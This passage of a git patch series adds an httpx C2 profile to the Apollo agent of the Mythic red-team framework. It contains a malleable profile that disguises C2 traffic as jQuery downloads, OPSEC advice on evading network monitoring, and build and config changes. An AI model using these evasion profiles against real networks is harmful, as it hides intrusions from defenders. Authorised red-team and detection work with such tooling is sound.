focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/jquery-3.3.0.min.js" + ], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate", + "Referer": "http://code.jquery.com/", + "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "xor", + "value": "someOtherRandomKey" + } + ] + }, + "server": { + "headers": { + "Cache-Control": "max-age=0, no-cache", + "Connection": "keep-alive", + "Content-Type": "application/javascript; charset=utf-8", + "Pragma": "no-cache", + "Server": "NetDNA-cache/2.2" + }, + "transforms": [ + { + "action": "xor", + "value": "yetAnotherSomeRandomKey" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */" + }, + { + "action": "append", + "value": "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});" + } + ] + } + } +} +``` + +## Migration from HTTP Profile + +To migrate from the basic HTTP profile to httpx: + +1. **Update C2 Profile**: Change from "http" to "httpx" in your payload configuration +2. **Configure Domains**: Set callback domains instead of single callback host +3. **Add Malleable Profile**: Upload a JSON configuration file via the "Raw C2 Config" parameter +4. **Test Configuration**: Verify the profile works with your infrastructure + +## OPSEC Considerations + +- Use realistic User-Agent strings that match your target environment +- Choose URIs that blend with legitimate traffic patterns +- Implement appropriate transforms to obfuscate communication +- Consider domain rotation for redundancy and evasion +- Test profiles against network monitoring tools +- Use HTTPS endpoints when possible +- Implement proper error handling and fallback mechanisms + +## Troubleshooting + +### Common Issues + +1. **Transform Errors**: Ensure transform chains are properly configured and reversible +2. **Domain Resolution**: Verify all callback domains are accessible +3. **Profile Validation**: Check JSON syntax and required fields +4. **Header Conflicts**: Avoid conflicting or invalid HTTP headers + +### Debug Tips + +- Start with simple base64 transforms before adding complex chains +- Test profiles with small payloads first +- Use network monitoring tools to verify traffic patterns +- Check server logs for any configuration issues From 7a9669a194d7cb15180de29b9b6aed1a92956b5e Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Fri, 17 Oct 2025 16:10:36 +0200 Subject: [PATCH 04/37] Minor dir changes --- Payload_Type/apollo/apollo/__init__.py | 4 ++++ Payload_Type/apollo/apollo/translator/__init__.py | 4 ++++ Payload_Type/apollo/{ => apollo}/translator/translator.py | 0 Payload_Type/apollo/{ => apollo}/translator/utils.py | 0 Payload_Type/apollo/translator/__init__.py | 3 +++ 5 files changed, 11 insertions(+) create mode 100644 Payload_Type/apollo/apollo/translator/__init__.py rename Payload_Type/apollo/{ => apollo}/translator/translator.py (100%) rename Payload_Type/apollo/{ => apollo}/translator/utils.py (100%) diff --git a/Payload_Type/apollo/apollo/__init__.py b/Payload_Type/apollo/apollo/__init__.py index 8b137891..2e8cb4e2 100644 --- a/Payload_Type/apollo/apollo/__init__.py +++ b/Payload_Type/apollo/apollo/__init__.py @@ -1 +1,5 @@ +# Apollo Agent Package +from .mythic import * +from .translator import ApolloTranslator +__all__ = ['ApolloTranslator'] \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/translator/__init__.py b/Payload_Type/apollo/apollo/translator/__init__.py new file mode 100644 index 00000000..e959d284 --- /dev/null +++ b/Payload_Type/apollo/apollo/translator/__init__.py @@ -0,0 +1,4 @@ +# Apollo Translator Container +from .translator import ApolloTranslator + +__all__ = ['ApolloTranslator'] diff --git a/Payload_Type/apollo/translator/translator.py b/Payload_Type/apollo/apollo/translator/translator.py similarity index 100% rename from Payload_Type/apollo/translator/translator.py rename to Payload_Type/apollo/apollo/translator/translator.py diff --git a/Payload_Type/apollo/translator/utils.py b/Payload_Type/apollo/apollo/translator/utils.py similarity index 100% rename from Payload_Type/apollo/translator/utils.py rename to Payload_Type/apollo/apollo/translator/utils.py diff --git a/Payload_Type/apollo/translator/__init__.py b/Payload_Type/apollo/translator/__init__.py index 8376cc28..e959d284 100644 --- a/Payload_Type/apollo/translator/__init__.py +++ b/Payload_Type/apollo/translator/__init__.py @@ -1 +1,4 @@ # Apollo Translator Container +from .translator import ApolloTranslator + +__all__ = ['ApolloTranslator'] From fa9439cae09d0ca7977aaeea12e00be451c1ae36 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Fri, 17 Oct 2025 16:17:10 +0200 Subject: [PATCH 05/37] Fixed translator registration --- Payload_Type/apollo/apollo/mythic/agent_functions/builder.py | 1 + Payload_Type/apollo/apollo/translator/__init__.py | 4 ---- Payload_Type/apollo/main.py | 5 +---- Payload_Type/apollo/translator/__init__.py | 4 ---- Payload_Type/apollo/{apollo => }/translator/translator.py | 0 Payload_Type/apollo/{apollo => }/translator/utils.py | 0 6 files changed, 2 insertions(+), 12 deletions(-) delete mode 100644 Payload_Type/apollo/apollo/translator/__init__.py rename Payload_Type/apollo/{apollo => }/translator/translator.py (100%) rename Payload_Type/apollo/{apollo => }/translator/utils.py (100%) diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index d01886d0..1da59e8d 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -25,6 +25,7 @@ class Apollo(PayloadType): semver = "2.3.51" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] + translation_container = "ApolloTranslator" note = """ A fully featured .NET 4.0 compatible training agent. Version: {}. NOTE: P2P Not compatible with v2.2 agents! diff --git a/Payload_Type/apollo/apollo/translator/__init__.py b/Payload_Type/apollo/apollo/translator/__init__.py deleted file mode 100644 index e959d284..00000000 --- a/Payload_Type/apollo/apollo/translator/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -# Apollo Translator Container -from .translator import ApolloTranslator - -__all__ = ['ApolloTranslator'] diff --git a/Payload_Type/apollo/main.py b/Payload_Type/apollo/main.py index 23f08d34..d95f010e 100644 --- a/Payload_Type/apollo/main.py +++ b/Payload_Type/apollo/main.py @@ -1,8 +1,5 @@ import mythic_container from apollo.mythic import * -from apollo.translator import ApolloTranslator - -# Register the translator container -mythic_container.mythic_service.add_translation_container(ApolloTranslator) +from translator.translator import * mythic_container.mythic_service.start_and_run_forever() \ No newline at end of file diff --git a/Payload_Type/apollo/translator/__init__.py b/Payload_Type/apollo/translator/__init__.py index e959d284..e69de29b 100644 --- a/Payload_Type/apollo/translator/__init__.py +++ b/Payload_Type/apollo/translator/__init__.py @@ -1,4 +0,0 @@ -# Apollo Translator Container -from .translator import ApolloTranslator - -__all__ = ['ApolloTranslator'] diff --git a/Payload_Type/apollo/apollo/translator/translator.py b/Payload_Type/apollo/translator/translator.py similarity index 100% rename from Payload_Type/apollo/apollo/translator/translator.py rename to Payload_Type/apollo/translator/translator.py diff --git a/Payload_Type/apollo/apollo/translator/utils.py b/Payload_Type/apollo/translator/utils.py similarity index 100% rename from Payload_Type/apollo/apollo/translator/utils.py rename to Payload_Type/apollo/translator/utils.py From ce14d5f8f2262a8f6139a49a179abfd96f366931 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Fri, 17 Oct 2025 16:18:32 +0200 Subject: [PATCH 06/37] Fixed translator registration #2 --- Payload_Type/apollo/apollo/__init__.py | 5 ----- 1 file changed, 5 deletions(-) diff --git a/Payload_Type/apollo/apollo/__init__.py b/Payload_Type/apollo/apollo/__init__.py index 2e8cb4e2..e69de29b 100644 --- a/Payload_Type/apollo/apollo/__init__.py +++ b/Payload_Type/apollo/apollo/__init__.py @@ -1,5 +0,0 @@ -# Apollo Agent Package -from .mythic import * -from .translator import ApolloTranslator - -__all__ = ['ApolloTranslator'] \ No newline at end of file From 12c241a8e1acf769393692f605b7224bd7020a21 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Fri, 17 Oct 2025 16:22:05 +0200 Subject: [PATCH 07/37] Added httpx to the supported types list --- Payload_Type/apollo/apollo/mythic/agent_functions/builder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 1da59e8d..4dcefb95 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -162,7 +162,7 @@ class Apollo(PayloadType): ] ) ] - c2_profiles = ["http", "smb", "tcp", "websocket"] + c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"] agent_path = pathlib.Path(".") / "apollo" / "mythic" agent_code_path = pathlib.Path(".") / "apollo" / "agent_code" agent_icon_path = agent_path / "agent_functions" / "apollo.svg" From 655bb689df91cba5d98e1fb0b6ac3935f449930f Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Fri, 17 Oct 2025 16:34:31 +0200 Subject: [PATCH 08/37] Adjustment2 --- Payload_Type/apollo/apollo/mythic/agent_functions/builder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 4dcefb95..4abd1a2f 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -23,6 +23,7 @@ class Apollo(PayloadType): SupportedOS.Windows ] semver = "2.3.51" + c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"] wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] translation_container = "ApolloTranslator" @@ -162,7 +163,6 @@ class Apollo(PayloadType): ] ) ] - c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"] agent_path = pathlib.Path(".") / "apollo" / "mythic" agent_code_path = pathlib.Path(".") / "apollo" / "agent_code" agent_icon_path = agent_path / "agent_functions" / "apollo.svg" From 83736fb1ca7db2ba06cdf7c364f52355c144e37b Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Fri, 17 Oct 2025 16:41:10 +0200 Subject: [PATCH 09/37] Removed the translator --- Payload_Type/apollo/apollo/mythic/agent_functions/builder.py | 4 ++-- Payload_Type/apollo/main.py | 1 - 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 4abd1a2f..ba7fddef 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -23,10 +23,10 @@ class Apollo(PayloadType): SupportedOS.Windows ] semver = "2.3.51" - c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"] wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] - translation_container = "ApolloTranslator" + c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"] + translation_container = None note = """ A fully featured .NET 4.0 compatible training agent. Version: {}. NOTE: P2P Not compatible with v2.2 agents! diff --git a/Payload_Type/apollo/main.py b/Payload_Type/apollo/main.py index d95f010e..cb41bc12 100644 --- a/Payload_Type/apollo/main.py +++ b/Payload_Type/apollo/main.py @@ -1,5 +1,4 @@ import mythic_container from apollo.mythic import * -from translator.translator import * mythic_container.mythic_service.start_and_run_forever() \ No newline at end of file From 196628235b44f097800a2f6c81bee6e4c045fff1 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Fri, 17 Oct 2025 16:42:51 +0200 Subject: [PATCH 10/37] Removed the translator from builder --- Payload_Type/apollo/apollo/mythic/agent_functions/builder.py | 1 - 1 file changed, 1 deletion(-) diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index ba7fddef..9e9d1b4f 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -26,7 +26,6 @@ class Apollo(PayloadType): wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"] - translation_container = None note = """ A fully featured .NET 4.0 compatible training agent. Version: {}. NOTE: P2P Not compatible with v2.2 agents! From b2f8e952f471b50a80fefbe4253ee28bce87e604 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Tue, 21 Oct 2025 22:58:37 +0200 Subject: [PATCH 11/37] Removed Translator, and added the needed builder params --- .../apollo/apollo/agent_code/Apollo/Config.cs | 2 +- .../apollo/mythic/agent_functions/builder.py | 78 ++++++++++++++++--- Payload_Type/apollo/translator/__init__.py | 0 Payload_Type/apollo/translator/translator.py | 43 ---------- Payload_Type/apollo/translator/utils.py | 8 -- 5 files changed, 69 insertions(+), 62 deletions(-) delete mode 100644 Payload_Type/apollo/translator/__init__.py delete mode 100644 Payload_Type/apollo/translator/translator.py delete mode 100644 Payload_Type/apollo/translator/utils.py diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs index 9454c901..5f5c67b7 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs @@ -1,13 +1,13 @@ #define C2PROFILE_NAME_UPPER //#define LOCAL_BUILD +#define HTTPX #if LOCAL_BUILD //#define HTTP //#define WEBSOCKET //#define TCP //#define SMB -//#define HTTPX #endif #if HTTP diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 9e9d1b4f..351edfe2 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -38,22 +38,80 @@ class Apollo(PayloadType): supports_multiple_c2_in_build = False c2_parameter_deviations = { "http": { - "get_uri": C2ParameterDeviation(supported=False), - "query_path_name": C2ParameterDeviation(supported=False), + "get_uri": C2ParameterDeviation( + supported=False, + choices=[] # Disabled parameter, but frontend expects array + ), + "query_path_name": C2ParameterDeviation( + supported=False, + choices=[] # Disabled parameter, but frontend expects array + ), #"headers": C2ParameterDeviation(supported=True, dictionary_choices=[ # DictionaryChoice(name="User-Agent", default_value="Hello", default_show=True), # DictionaryChoice(name="HostyHost", default_show=False, default_value=""), #]) }, "httpx": { - "raw_c2_config": C2ParameterDeviation(supported=True), - "callback_domains": C2ParameterDeviation(supported=True), - "domain_rotation": C2ParameterDeviation(supported=True), - "failover_threshold": C2ParameterDeviation(supported=True), - "encrypted_exchange_check": C2ParameterDeviation(supported=True), - "callback_jitter": C2ParameterDeviation(supported=True), - "callback_interval": C2ParameterDeviation(supported=True), - "killdate": C2ParameterDeviation(supported=True), + # File parameter - requires raw_c2_config file upload + "raw_c2_config": C2ParameterDeviation( + supported=True, + choices=[] # File parameters don't need choices, but frontend expects array + ), + + # Array parameter - callback domains + "callback_domains": C2ParameterDeviation( + supported=True, + choices=[] # Array parameters don't need choices, but frontend expects array + ), + + # Choice parameter - domain rotation strategy + "domain_rotation": C2ParameterDeviation( + supported=True, + choices=["fail-over", "round-robin", "random"], + default_value="fail-over" + ), + + # Number parameter - failover threshold + "failover_threshold": C2ParameterDeviation( + supported=True, + default_value=5, + choices=[] # Number parameters don't need choices, but frontend expects array + ), + + # Boolean parameter - encryption check + "encrypted_exchange_check": C2ParameterDeviation( + supported=True, + default_value=True, + choices=[] # Boolean parameters don't need choices, but frontend expects array + ), + + # Number parameter - callback jitter percentage + "callback_jitter": C2ParameterDeviation( + supported=True, + default_value=23, + choices=[] # Number parameters don't need choices, but frontend expects array + ), + + # Number parameter - callback interval in seconds + "callback_interval": C2ParameterDeviation( + supported=True, + default_value=10, + choices=[] # Number parameters don't need choices, but frontend expects array + ), + + # Date parameter - kill date + "killdate": C2ParameterDeviation( + supported=True, + default_value=365, + choices=[] # Date parameters don't need choices, but frontend expects array + ), + + # Choice parameter - encryption type + "AESPSK": C2ParameterDeviation( + supported=True, + choices=["aes256_hmac", "none"], + default_value="aes256_hmac" + ), } } build_parameters = [ diff --git a/Payload_Type/apollo/translator/__init__.py b/Payload_Type/apollo/translator/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/Payload_Type/apollo/translator/translator.py b/Payload_Type/apollo/translator/translator.py deleted file mode 100644 index 5592fe0d..00000000 --- a/Payload_Type/apollo/translator/translator.py +++ /dev/null @@ -1,43 +0,0 @@ -import json -import logging -from mythic_container.TranslationBase import * - -logging.basicConfig(level=logging.INFO) - - -class ApolloTranslator(TranslationContainer): - name = "ApolloTranslator" - description = "Translator for Apollo agent" - author = "@djhohnstein, @its_a_feature_" - - async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse: - """ - Handle messages coming from the C2 server destined for Agent. - C2 --(this message)--> Agent - - Since Apollo uses mythic_encrypts=True and JSON serialization, - this is a pass-through translator that doesn't modify the message format. - """ - response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True) - - # Pass through the message without modification - # Apollo handles JSON serialization internally - response.Message = inputMsg.Message - - return response - - async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: - """ - Handle messages coming from the Agent destined for C2. - Agent --(this message)--> C2 - - Since Apollo uses mythic_encrypts=True and JSON serialization, - this is a pass-through translator that doesn't modify the message format. - """ - response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) - - # Pass through the message without modification - # Apollo handles JSON serialization internally - response.Message = inputMsg.Message - - return response diff --git a/Payload_Type/apollo/translator/utils.py b/Payload_Type/apollo/translator/utils.py deleted file mode 100644 index 762f21b2..00000000 --- a/Payload_Type/apollo/translator/utils.py +++ /dev/null @@ -1,8 +0,0 @@ -""" -Utility functions and constants for Apollo translator. -Since Apollo uses mythic_encrypts=True, this translator is primarily pass-through -but required for httpx profile compatibility. -""" - -# Apollo uses JSON serialization directly, so no special message constants needed -# The translator will pass through JSON messages without modification From 0414ba55aa7aa74723469be8ce8c5ac95fd1aafe Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Tue, 21 Oct 2025 23:07:34 +0200 Subject: [PATCH 12/37] Removed C2ParameterDeviation for httpx, as it causes nothing but trouble --- .../apollo/apollo/agent_code/Apollo/Config.cs | 4 +- .../apollo/mythic/agent_functions/builder.py | 62 ------------------- 2 files changed, 2 insertions(+), 64 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs index 5f5c67b7..1bc34a33 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs @@ -202,7 +202,7 @@ public static class Config #elif TCP public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg="; #elif HTTPX - public static string StagingRSAPrivateKey = "HttpxApolloKey2024SecureRandomString123456789"; + public static string StagingRSAPrivateKey = "K4FLVfFwCPj3zBC+5l9WLCKqsmrtzkk/E8VcVY6iK/o="; #endif #if HTTP public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204"; @@ -213,7 +213,7 @@ public static class Config #elif TCP public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544"; #elif HTTPX - public static string PayloadUUID = "httpx-apollo-uuid-2024-12345678-90ab-cdef-1234-567890abcdef"; + public static string PayloadUUID = "7f2a0f77-51ca-4afc-a7a9-5ea9717e73c3"; #endif #else // TODO: Make the AES key a config option specific to each profile diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 351edfe2..491b5b0f 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -50,68 +50,6 @@ class Apollo(PayloadType): # DictionaryChoice(name="User-Agent", default_value="Hello", default_show=True), # DictionaryChoice(name="HostyHost", default_show=False, default_value=""), #]) - }, - "httpx": { - # File parameter - requires raw_c2_config file upload - "raw_c2_config": C2ParameterDeviation( - supported=True, - choices=[] # File parameters don't need choices, but frontend expects array - ), - - # Array parameter - callback domains - "callback_domains": C2ParameterDeviation( - supported=True, - choices=[] # Array parameters don't need choices, but frontend expects array - ), - - # Choice parameter - domain rotation strategy - "domain_rotation": C2ParameterDeviation( - supported=True, - choices=["fail-over", "round-robin", "random"], - default_value="fail-over" - ), - - # Number parameter - failover threshold - "failover_threshold": C2ParameterDeviation( - supported=True, - default_value=5, - choices=[] # Number parameters don't need choices, but frontend expects array - ), - - # Boolean parameter - encryption check - "encrypted_exchange_check": C2ParameterDeviation( - supported=True, - default_value=True, - choices=[] # Boolean parameters don't need choices, but frontend expects array - ), - - # Number parameter - callback jitter percentage - "callback_jitter": C2ParameterDeviation( - supported=True, - default_value=23, - choices=[] # Number parameters don't need choices, but frontend expects array - ), - - # Number parameter - callback interval in seconds - "callback_interval": C2ParameterDeviation( - supported=True, - default_value=10, - choices=[] # Number parameters don't need choices, but frontend expects array - ), - - # Date parameter - kill date - "killdate": C2ParameterDeviation( - supported=True, - default_value=365, - choices=[] # Date parameters don't need choices, but frontend expects array - ), - - # Choice parameter - encryption type - "AESPSK": C2ParameterDeviation( - supported=True, - choices=["aes256_hmac", "none"], - default_value="aes256_hmac" - ), } } build_parameters = [ From 86a480fc953cbf7b537fc49a7f0b3a9dd9d233ca Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Tue, 21 Oct 2025 23:14:49 +0200 Subject: [PATCH 13/37] Attempted to make the default config for httpx not always be included --- .../agent_code/HttpxProfile/HttpxProfile.cs | 13 +++++++++-- .../HttpxProfile/HttpxProfile.csproj | 2 +- .../apollo/mythic/agent_functions/builder.py | 23 ++++++++++++++++--- 3 files changed, 32 insertions(+), 6 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index 8f95f989..c3d23c2a 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -84,8 +84,17 @@ private void LoadHttpxConfig(string configData) } else { - // Load default configuration from embedded resource - Config = HttpxConfig.FromResource("Apollo.HttpxProfile.default_config.json"); + // Try to load default configuration from embedded resource + try + { + Config = HttpxConfig.FromResource("Apollo.HttpxProfile.default_config.json"); + } + catch (ArgumentException) + { + // Embedded resource doesn't exist (user provided custom config) + // Fall back to minimal config + Config = CreateMinimalConfig(); + } } Config.Validate(); diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj index fd23a394..f40d8b61 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj @@ -16,7 +16,7 @@ - + diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 491b5b0f..94b69570 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -294,6 +294,7 @@ async def build(self) -> BuildResponse: special_files_map["Config.cs"][prefixed_key] = "" else: special_files_map["Config.cs"][prefixed_key] = json.dumps(val) + try: # make a temp directory for it to live agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) @@ -318,12 +319,28 @@ async def build(self) -> BuildResponse: templateFile = templateFile.replace("HTTP_ADDITIONAL_HEADERS_HERE", "") with open(csFile, "wb") as f: f.write(templateFile.encode()) + + # Determine if we need to embed the default config + embed_default_config = True + for c2 in self.c2info: + profile = c2.get_c2profile() + if profile['name'] == 'httpx': + raw_config = c2.get_parameters_dict().get('raw_c2_config', '') + if raw_config and raw_config != "": + embed_default_config = False + stdout_err += f"Custom httpx config provided, skipping default config embedding\n" + break + + if embed_default_config: + stdout_err += f"Using embedded default httpx config\n" + output_path = f"{agent_build_path.name}/{buildPath}/Apollo.exe" + + # Build command with conditional embedding if self.get_parameter('debug'): - command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -o {agent_build_path.name}/{buildPath}/" + command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/" else: - command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -o {agent_build_path.name}/{buildPath}/" - #command = "rm -rf packages/*; nuget restore -NoCache -Force; msbuild -p:Configuration=Release -p:Platform=\"Any CPU\"" + command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/" await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, StepName="Gathering Files", From 02891ad80458bc711c5d80a078dfdb967e9b9cda Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Tue, 21 Oct 2025 23:26:01 +0200 Subject: [PATCH 14/37] Fixed TOML import for the httpx config --- Payload_Type/apollo/Dockerfile | 2 +- .../apollo/mythic/agent_functions/builder.py | 38 +++++++++++++++++-- README.md | 11 ++++++ .../apollo/c2_profiles/_index.md | 8 ++++ 4 files changed, 54 insertions(+), 5 deletions(-) diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile index ed71d317..29893984 100644 --- a/Payload_Type/apollo/Dockerfile +++ b/Payload_Type/apollo/Dockerfile @@ -12,7 +12,7 @@ RUN curl -L -o donut_shellcode-2.0.0.tar.gz https://github.com/MEhrn00/donut/rel WORKDIR /Mythic/ RUN python3 -m venv /venv -RUN /venv/bin/python -m pip install mythic-container==0.6.0 mslex impacket +RUN /venv/bin/python -m pip install mythic-container==0.6.0 mslex impacket toml RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0 COPY [".", "."] diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py 